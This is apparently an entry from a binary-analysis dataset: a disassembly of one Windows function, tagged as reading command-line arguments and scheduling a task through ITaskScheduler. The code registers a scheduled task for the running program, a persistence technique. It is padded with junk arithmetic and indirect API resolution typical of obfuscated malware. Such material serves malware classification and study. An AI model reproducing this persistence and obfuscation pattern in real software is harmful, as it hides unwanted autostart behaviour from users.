Function at 0x401fe1
Capabilities:
Accept command line arguments
Schedule task via itaskscheduler

Disassembly:
mov eax, 0x42cd4d
call fcn.0042c5b0
sub esp, 0x194
push ebx
push esi
push edi
xor ebx, ebx
push 0xdcd9ffff
push 0xcab5ffff
mov byte [ebp - 0xd], bl
mov byte [0x437bea], 0xfe
call fcn.004100bc
add dword [0x437c10], eax
pop ecx
pop ecx
mov dword [0x437c1c], 0x8ff00001
push ebx
push ebx
push 0x1f
call fcn.0041448a
pop ecx
call eax
mov dword [ebp - 0x4c], eax
push 0xffffffffffffffff
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_IsCharAlphaA]
or byte [0x437bef], 0xff
mov byte [0x437bea], al
mov ax, word [0x437c28]
mov dword [ebp - 0x20], ebx
add ax, word [0x437bf4]
mov word [0x437c00], ax
movsx eax, byte [0x437be9]
push eax
push 0x4d11ffff
mov byte [ebp - 4], 1
call fcn.0040ff78
add word [0x437c02], ax
movsx eax, byte [0x437bef]
push eax
push 0x84e1ffff
call fcn.0040fede
mov word [0x437bfc], ax
mov al, byte [0x437bfa]
or al, byte [0x437bf0]
add esp, 0x10
add byte [0x437beb], al
lea eax, [ebp - 0x20]
push eax
push 0x4315b0
push 1
pop edi
push edi
push ebx
push 0x4315d0
call dword [sym.imp.ole32.dll_CoCreateInstance]
inc byte [0x437bef]
mov esi, eax
movsx eax, byte [0x437bec]
push eax
push 0xf747ffff
call fcn.0040ff78
add dword [0x437c0c], eax
push 0x2d3fffff
movsx eax, word [0x437bfa]
push eax
call fcn.0040ff1a
add word [0x437bf6], ax
add esp, 0x10
cmp esi, ebx
jl 0x402c31
mov al, byte [0x437bf4]
mov dword [ebp - 0x1c], ebx
and al, byte [0x437c28]
add byte [0x437bee], al
lea eax, [ebp - 0x9c]
push 5
push eax
mov byte [ebp - 4], 2
call fcn.0040a84d
mov eax, dword [0x437c24]
push 0x4e25ffff
dec eax
push 0xa74dffff
add word [0x437bf8], ax
mov byte [ebp - 4], 3
call fcn.004100bc
mov byte [0x437bea], al
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040dad9
add esp, 0x18
mov eax, dword [eax + 4]
mov byte [ebp - 4], 4
cmp eax, ebx
jne 0x402171
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
mov ecx, dword [ebp - 0x20]
lea esi, [ebp - 0x1c]
push esi
mov esi, 0x4315e0
mov edx, dword [ecx]
push 0x4315c0
push esi
push eax
push ecx
call dword [edx + 0x20]
push edi
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
mov ax, word [0x437bf6]
dec ax
mov word [0x437c04], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x14], 0x80070050
mov byte [0x437bea], al
jne 0x4022e2
movsx eax, byte [0x437bed]
push eax
push 0x551bffff
call fcn.00410016
add byte [0x437beb], al
movsx eax, word [0x437bfa]
push eax
movsx eax, byte [0x437be9]
push eax
call fcn.0041004e
add dword [0x437c0c], eax
push 0x1ffdffff
push 0x32e7ffff
call fcn.0040ff1a
add dword [0x437c0c], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0040dad9
add esp, 0x20
mov eax, dword [eax + 4]
mov byte [ebp - 4], 5
cmp eax, ebx
jne 0x40222c
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
mov ecx, dword [ebp - 0x20]
push eax
push ecx
mov edx, dword [ecx]
call dword [edx + 0x1c]
push edi
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
movsx eax, word [0x437c04]
mov ecx, 0x7f67ffff
sub ecx, eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x34]
push eax
mov dword [0x437c1c], ecx
call fcn.0040dad9
pop ecx
pop ecx
mov eax, dword [eax + 4]
mov byte [ebp - 4], 6
cmp eax, ebx
jne 0x40227a
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
push edx
push 0x4315c0
push esi
push dword [ebp - 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
push edi
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
movsx ax, byte [0x437bec]
dec eax
add word [0x437bf8], ax
movsx eax, word [0x437bf8]
push eax
push 0xc89bffff
call fcn.0040ff78
add byte [0x437be9], al
pop ecx
movsx eax, word [0x437bf4]
pop ecx
mov ecx, 0xe71fffff
sub ecx, eax
mov dword [0x437c24], ecx
mov al, byte [0x437bf6]
or word [0x437c00], 0xffff
dec al
mov byte [0x437bec], al
movsx eax, byte [0x437bef]
push eax
movsx eax, byte [0x437bee]
push eax
call fcn.0040ff4b
add word [0x437bfa], ax
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
jl 0x402c0f
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.0041f32a
pop ecx
pop ecx
mov esi, dword [0x430f90]
mov byte [ebp - 4], 7
mov al, byte [esi]
add al, 0x16
movzx eax, al
add eax, 3
and al, 0xfc
call fcn.0042c5d0
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov edx, esi
mov dword [ebp - 0x14], eax
call fcn.004298e5
mov dword [ebp - 0x18], eax
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
lea ecx, [ebp - 0x44]
push dword [eax]
mov eax, dword [ebp - 0x14]
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::substr_unsigned_int__unsigned_int_]
push eax
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 4], 8
call fcn.0040d6bb
mov esi, eax
push dword [ebp - 0x18]
mov byte [ebp - 4], 9
call sub.MSVCRT.dll_strlen
add esp, 0xc
mov ecx, esi
push eax
push dword [ebp - 0x18]
push dword [esi + 8]
push ebx
call dword [sym.imp.MSVCP60.dll_public:_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::compare_unsigned_int__unsigned_int__char_const___unsigned_int_const]
push edi
lea ecx, [ebp - 0x34]
mov esi, eax
mov byte [ebp - 4], 8
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push edi
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
cmp esi, ebx
je 0x402461
mov al, byte [ebp - 0x44]
push ebx
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x34], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
lea ecx, [ebp - 0x34]
push dword [eax]
lea eax, [ebp - 0x44]
push ebx
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int_]
mov esi, dword [0x430f90]
mov byte [ebp - 4], 0xa
mov al, byte [esi]
add al, 0x16
movzx eax, al
add eax, 3
and al, 0xfc
call fcn.0042c5d0
mov ecx, esp
mov edx, esi
call fcn.004298e5
mov esi, eax
push esi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push esi
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::append_char_const___unsigned_int_]
mov ecx, dword [ebp - 0x30]
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp ecx, ebx
jne 0x402431
mov ecx, eax
cmp dword [ebp - 0x40], ebx
je 0x402439
mov eax, dword [ebp - 0x40]
push ebx
push ecx
push eax
push 0x38
call fcn.0041448a
pop ecx
call eax
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x44]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::swap_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char____]
push edi
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
movsx eax, word [0x437c04]
push eax
push 0xfc73ffff
call fcn.00410016
add word [0x437bf2], ax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0040dad9
add esp, 0x10
mov eax, dword [eax + 4]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
cmp eax, ebx
mov byte [ebp - 4], 0xb
je 0x40249d
mov ecx, eax
mov eax, dword [ebp - 0x1c]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x80]
push edi
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
cmp dword [0x437c10], ebx
jne 0x4024cc
cmp byte [0x437bf1], bl
jne 0x4024cc
xor eax, eax
jmp 0x4024ce
mov eax, edi
push dword [0x437c24]
add dword [0x437c1c], eax
push 0x746bffff
call fcn.0040ffc6
pop ecx
mov byte [0x437bee], al
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
add dword [0x437c20], eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x1a0]
push eax
push 0x10
mov dword [ebp - 0x48], 0x104
call fcn.0041448a
pop ecx
call eax
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.0040dc67
pop ecx
pop ecx
mov eax, dword [eax + 4]
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
cmp eax, ebx
mov byte [ebp - 4], 0xc
je 0x402538
mov ecx, eax
mov eax, dword [ebp - 0x1c]
push ebx
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x78]
push edi
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 7
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
mov eax, dword [ebp - 0x1c]
push 0x2200
push eax
mov ecx, dword [eax]
call dword [ecx + 0x70]
mov eax, dword [ebp - 0x1c]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0xa8]
push 0x7325ffff
push dword [0x437c10]
call fcn.0040ff4b
add byte [0x437be8], al
pop ecx
pop ecx
call dword [sym.imp.USER32.dll_GetActiveWindow]
push 0x22a9ffff
push 0x5e61ffff
mov dword [0x437c2c], eax
call fcn.00410016
add byte [0x437bed], al
mov dword [ebp - 0x18], ebx
push 0x811dffff
push 0x5733ffff
mov byte [ebp - 4], 0xd
mov dword [0x437c28], edi
call fcn.00410092
add dword [0x437c14], eax
push 0xe8bffff
movsx eax, word [0x437bfc]
push eax
call fcn.0040fede
mov word [0x437bfa], ax
mov eax, dword [0x437c0c]
add esp, 0x18
inc eax
add word [0x437bf6], ax
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
mov ecx, dword [eax]
push edx
lea edx, [ebp - 0x22]
push edx
push eax
call dword [ecx + 0xc]
mov si, word [0x437bfe]
cmp si, bx
je 0x402619
cmp word [0x437bfa], bx
je 0x402619
mov ecx, edi
jmp 0x40261b
xor ecx, ecx
add byte [0x437beb], cl
or word [0x437bf2], 0xffff
cmp eax, ebx
jl 0x402886
push dword [0x437c18]
movsx eax, si
push eax
call fcn.00410092
mov byte [0x437bed], al
mov al, byte [0x437c20]
imul byte [0x437bef]
add byte [0x437bf0], al
push 0x2b29ffff
push 0xbfbdffff
call fcn.0040ffc6
mov byte [0x437bec], al
push 0x30
lea eax, [ebp - 0x8c]
push ebx
push eax
call sub.MSVCRT.dll_memset
xor eax, eax
cmp dword [0x437c10], ebx
push 0x9425ffff
mov word [ebp - 0x8c], 0x30
setne al
add byte [0x437beb], al
mov word [ebp - 0x84], di
movsx eax, word [0x437bfa]
push eax
mov word [ebp - 0x86], di
call fcn.0041004e
push 0xc915ffff
mov dword [0x437c2c], eax
push dword [0x437c24]
call fcn.0040ffc6
mov word [0x437c04], ax
mov word [ebp - 0x88], 0x7cf
movsx eax, word [0x437bf8]
push eax
push eax
call fcn.0040ff1a
mov word [0x437bfa], ax
mov eax, dword [0x437c28]
add eax, eax
push 0x4a
mov dword [0x437c2c], 0xbcabfffe
mov word [0x437c00], ax
call fcn.0041448a
add esp, 0x38
call eax
push eax
call dword [sym.imp.MSVCRT.dll_srand]
push 0x3c
mov dword [ebp - 0x6c], edi
pop esi
mov word [ebp - 0x68], di
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x78], 0x80ac0
call dword [sym.imp.MSVCRT.dll_rand]
cdq
idiv esi
mov eax, dword [0x437c10]
inc eax
mov word [0x437bfa], ax
xor eax, eax
cmp byte [0x437bee], bl
setne al
add byte [0x437be8], al
movsx eax, word [0x437c00]
push eax
push 0x2687ffff
mov word [ebp - 0x7a], dx
call fcn.0040ffc6
mov byte [0x437bf0], al
mov eax, dword [ebp - 0x18]
add esp, 0xc
lea edx, [ebp - 0x8c]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
movsx ecx, word [0x437c00]
movsx edx, word [0x437c04]
imul ecx, edx
cmp eax, ebx
mov dword [0x437c2c], ecx
jl 0x402886
push 0xd6e1ffff
push 0x2693ffff
call fcn.0040ff1a
add word [0x437bfc], ax
mov eax, dword [ebp - 0x1c]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x14], ebx
je 0x4027cc
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push 0x4370c0
push eax
call dword [ecx]
push 0xffffffffffffffff
mov byte [ebp - 4], 0xe
call dword [sym.imp.USER32.dll_IsCharUpperA]
mov dword [0x437c2c], eax
push 0xd01dffff
movsx eax, byte [0x437bf0]
push eax
call fcn.004100bc
mov word [0x437bfa], ax
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, ebx
pop ecx
mov byte [0x437bf1], 0xfe
je 0x402878
movsx edx, word [0x437c02]
movsx ecx, byte [0x437bec]
add edx, dword [0x437c2c]
push edi
push ebx
push eax
add edx, ecx
mov dword [0x437c2c], edx
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov ax, word [0x437bfa]
push 0x3159ffff
dec ax
mov byte [ebp - 0xd], 1
mov word [0x437bfe], ax
movsx eax, word [0x437c04]
push eax
call fcn.00410016
add dword [0x437c14], eax
mov eax, dword [0x437c28]
or eax, 0xfa49ffff
pop ecx
mov dword [0x437c08], eax
xor eax, eax
cmp byte [0x437be8], bl
pop ecx
setne al
add dword [0x437c1c], eax
mov eax, dword [ebp - 0x14]
cmp eax, ebx
mov byte [ebp - 4], 0xd
je 0x402886
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [0x437c14]
push 0xfc6bffff
call fcn.0040ff78
add dword [0x437c08], eax
push 0x59c7ffff
push 0x6cfdffff
call fcn.0040ffc6
mov word [0x437bf8], ax
mov eax, dword [ebp - 0x18]
add esp, 0x10
cmp eax, ebx
mov byte [ebp - 4], 7
je 0x4028c5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [ebp - 0x18], ebx
mov al, byte [0x437c1c]
mov byte [ebp - 4], 0xf
and al, byte [0x437be9]
add byte [0x437bf1], al
movsx eax, word [0x437bf8]
push eax
push 0x440bffff
call fcn.0040ffc6
mov dword [0x437c2c], eax
movsx eax, word [0x437c02]
push eax
movsx eax, word [0x437c00]
push eax
call fcn.0040fede
add word [0x437c04], ax
push 0xef8fffff
push 0x1089ffff
call fcn.0040ff78
mov cx, word [0x437c02]
add esp, 0x18
add cx, ax
mov eax, dword [ebp - 0x1c]
sub cx, word [0x437c08]
lea edx, [ebp - 0x18]
push edx
lea edx, [ebp - 0x22]
mov word [0x437c02], cx
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov esi, eax
movsx eax, byte [0x437bf0]
push eax
push dword [0x437c24]
call fcn.0040ff78
add dword [0x437c14], eax
movsx eax, word [0x437bf2]
push eax
push dword [0x437c14]
call fcn.0040ff1a
add dword [0x437c08], 0x46160000
add esp, 0x10
cmp esi, ebx
mov dword [0x437c14], eax
jl 0x402bd6
push 0x4e95ffff
push dword [0x437c20]
call fcn.0040ff78
add dword [0x437c08], eax
mov eax, dword [0x437c20]
push eax
push eax
call fcn.0040ffe3
mov word [0x437bfc], ax
push 0x30
lea eax, [ebp - 0x8c]
push ebx
push eax
call sub.MSVCRT.dll_memset
movsx eax, byte [0x437bf1]
push eax
push 0xef85ffff
mov word [ebp - 0x8c], 0x30
mov word [ebp - 0x84], di
mov word [ebp - 0x86], di
call fcn.00410016
mov word [0x437bf8], ax
movsx eax, word [0x437bf2]
push eax
push dword [0x437c1c]
call fcn.0040ffe3
add word [0x437bf6], ax
add esp, 0x2c
xor eax, eax
cmp word [0x437bf2], bx
mov word [ebp - 0x88], 0x7cf
setne al
mov dword [0x437c2c], eax
movsx eax, byte [0x437bea]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
cmp byte [0x437bef], bl
lea edx, [ebp - 0x8c]
mov dword [ebp - 0x6c], 7
push edx
setne al
mov byte [0x437bea], al
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 0xc]
push 0x5405ffff
push 0x9263ffff
mov esi, eax
call fcn.004100bc
add dword [0x437c20], eax
xor eax, eax
cmp word [0x437bf6], bx
pop ecx
pop ecx
setne al
cmp esi, ebx
mov dword [0x437c08], eax
jl 0x402bd6
call dword [sym.imp.USER32.dll_GetInputState]
add byte [0x437be8], al
movsx eax, byte [0x437bed]
push eax
push 0x43edffff
call fcn.0040ff1a
mov word [0x437bf6], ax
movsx eax, byte [0x437bea]
push eax
push 0xc345ffff
call fcn.004100bc
mov byte [0x437be8], al
mov eax, dword [ebp - 0x1c]
add esp, 0x10
cmp eax, ebx
mov dword [ebp - 0x14], ebx
je 0x402aeb
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push 0x4370c0
push eax
call dword [ecx]
movsx eax, word [0x437c02]
push 0x4cdffff
push eax
mov byte [ebp - 4], 0x10
call fcn.0040ff78
add word [0x437bf2], ax
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
je 0x402bc5
movsx eax, word [0x437bf4]
push eax
push 0x7c17ffff
call fcn.0040fede
mov word [0x437bfe], ax
mov al, byte [0x437be8]
neg al
mov byte [0x437bf1], al
push 0xf7d1ffff
movsx eax, byte [0x437bef]
push eax
call fcn.0040ff1a
add esp, 0x10
mov byte [0x437bef], al
mov eax, dword [ebp - 0x14]
push edi
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
movsx ax, byte [0x437be8]
movsx cx, byte [0x437bec]
sub cx, word [0x437bf4]
mov byte [ebp - 0xd], 1
neg eax
add word [0x437bf2], cx
mov word [0x437c00], ax
movsx eax, ax
push eax
push 0x822fffff
call fcn.0040fede
add dword [0x437c0c], eax
movsx eax, byte [0x437be8]
push eax
push 0xd291ffff
call fcn.0041004e
mov dword [0x437c08], eax
mov al, byte [0x437c24]
and al, byte [0x437c10]
add esp, 0x10
add byte [0x437bf0], al
mov eax, dword [ebp - 0x14]
mov byte [ebp - 4], 0xf
cmp eax, ebx
je 0x402bd6
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
movsx eax, word [0x437bfc]
push eax
push dword [0x437c1c]
call fcn.00410092
mov dword [0x437c28], eax
mov eax, dword [ebp - 0x18]
pop ecx
cmp eax, ebx
pop ecx
mov byte [ebp - 4], 7
je 0x402c01
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push edi
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push edi
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 2
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 4], 1
cmp eax, ebx
je 0x402c31
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
mov byte [ebp - 4], bl
cmp eax, ebx
je 0x402c41
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [ebp - 0x4c], 0x80010106
je 0x402c50
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
lea esp, [ebp - 0x1ac]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret